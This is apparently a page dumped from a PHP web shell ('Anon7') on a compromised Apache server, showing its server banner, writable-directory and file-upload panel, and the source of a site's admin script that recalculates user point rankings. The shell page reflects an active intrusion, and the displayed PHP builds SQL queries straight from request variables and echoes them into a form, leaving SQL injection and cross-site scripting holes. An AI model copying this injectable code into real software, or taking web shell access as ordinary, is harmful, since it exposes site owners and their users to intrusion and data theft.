KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/junsu/admin/Proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/queenjbs/junsu/admin/Proc/fp_proc.php
<?include $_SERVER['DOCUMENT_ROOT']."/conf/conf_dir.php";?>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<?
$todayfull = date("YmdHis");
$contents = addslashes($contents); //특수문자db에 들어가게..

$formChk = "view";
$tableName = "user_ranking";
if($idx){
	if($mode == "proc"){
		$queryupok = "update $tableName set original_no = '1', reply_content='$reply_content',modify_date=now()  where no = '$idx'";
		$queryupok_result = mysql_query($queryupok,$db_con);

	}else if($mode == "del"){
		//기존회차 찾아 시작일 종료일을 알아낸다.
		$inning = $idx-1;

		//기존 회차의 시작일 종료일 알아내기.
		$row = Get_dbline("select * from user_ranking where inning='$inning'");
		$startdate = $row[startdate];
		$enddate = $row[enddate];

		//현재 유료회원의 포인트 다시 입력함.
		$QUERY_PAGE = "SELECT * FROM user where activated = 1 and auth_code = 10 ORDER BY id desc";
		$results= mysql_query($QUERY_PAGE,$db_con);
		while($rows = mysql_fetch_array($results)){
			$sum_point = get_db("select sum(poi_point) from user_point where mem_id='$rows[id]' and poi_type='Y' and poi_datetime >= '$startdate' and poi_datetime <= '$enddate' ");
			if(!$sum_point) $sum_point="0";
			$repoint = "update user set m_point = '$sum_point' where id = '$rows[id]'";
			//echo "<br>";
			$repoint_result = mysql_query($repoint,$db_con);
		}
		$inning_del = "delete from user_point_inning where inning='$inning'";
		$inning_del_result = mysql_query($inning_del,$db_con);


		$queryupok = "delete from $tableName where inning = '$idx'";
		$queryupok_result = mysql_query($queryupok,$db_con);
		$formChk = "list";
	}


if($mode == "del"){
	$saveName = "削除";
	$urlchk ="../fp.php";
}else{
	$saveName = "保存";
	$urlchk ="../fp_write.php";
}

}else{
	// user_ranking 새로운 회차 입력
	$query = "INSERT INTO $tableName (inning,startdate,enddate) VALUES ('$inning', '$startdate','$enddate')";
	$result = mysql_query($query,$db_con);

	//user에서 정회원이고 포인트가 있는사람 회차넣고 인서트하기.
	$QUERY_PAGE = "SELECT * FROM user where activated = 1 and auth_code = 10 ORDER BY m_point asc"; // 포인트 업뎃을 하기때문에 순위가 변경안되게 asc로 함.
  $results= mysql_query($QUERY_PAGE,$db_con);

	//레벨값의 총수 구하기.
	$total_member = Get_db("select count(*) from user where auth_code=10 and activated=1 and m_point !=0");
	$i=1;
	$inning= $inning-1; //기존회차
	while($rows = mysql_fetch_array($results)){
		/*
		//현재 포인트가 맞는지 확인
		$sum_point = get_db("select sum(poi_point) from user_point where mem_id='$rows[id]' and poi_type='Y'");
		echo $i.". ".$rows[id]." ".$rows[userid]." ".$rows[m_point]." 수정포인트:".$sum_point;
		if($rows[m_point] != $sum_point && $sum_point !=""){
			echo $queryupok = "update user set m_point = '$sum_point' where id = '$rows[id]'";
			//$queryupok_result = mysql_query($queryupok,$db_con);
		}
		*/
		//현재포인트는 회차포인트부터 적용시켰다는걸 가정하에 한다.
		$result_rank = Get_db("select count(*) as cnt from user where m_point > (SELECT m_point FROM user where id = '$rows[id]') and auth_code=10 and activated=1");
		$persent =round(($result_rank / $total_member) *100); //% 구하는공식
		if($persent < 5) $MY_LEVEL = "Legend";
		elseif($persent < 15) $MY_LEVEL = "Gold";
		elseif($persent < 30) $MY_LEVEL = "Sliver";
		elseif($persent < 50) $MY_LEVEL = "Bronze";
		else $MY_LEVEL = "Bronze";

		if($persent == 100) $result_rank = "0"; //결과값출력
		else $result_rank = $result_rank+1; //결과값출력

		$query = "INSERT INTO user_point_inning
									(id,userid,point,level,inning)
								VALUES
									($result_rank,$rows[id],$rows[m_point],'$MY_LEVEL','$inning')";
		$result = mysql_query($query,$db_con);
		//새로운회차의 포인트 합산하여 user 포인트에 넣어줌.
		$sum_point = get_db("select sum(poi_point) from user_point where mem_id='$rows[id]' and poi_type='Y' and poi_datetime >= '$startdate' and poi_datetime <= '$enddate' ");
		$queryupok = "update user set m_point = '$sum_point' where id = '$rows[id]'";
		$queryupok_result = mysql_query($queryupok,$db_con);

		//echo "<br>";
		$i++;
	}
	$i = $i-1;
	$upTotal = "update user_ranking set total_user = '$i' where inning = '$inning'";
	$upTotal_result = mysql_query($upTotal,$db_con);

	$urlchk ="../fp.php";

}
?>
<form name="form" method="post" action="<?=$urlchk?>" onsubmit="return validate();" enctype="multipart/form-data">
<input type="hidden" name="mode" value="<?=$mode?>">
<input type="hidden" name="idx" value="<?=$idx?>">
</form>
<script>
alert("<?=$saveName?> OK");
document.form.submit();
</script>

Anon7 - 2021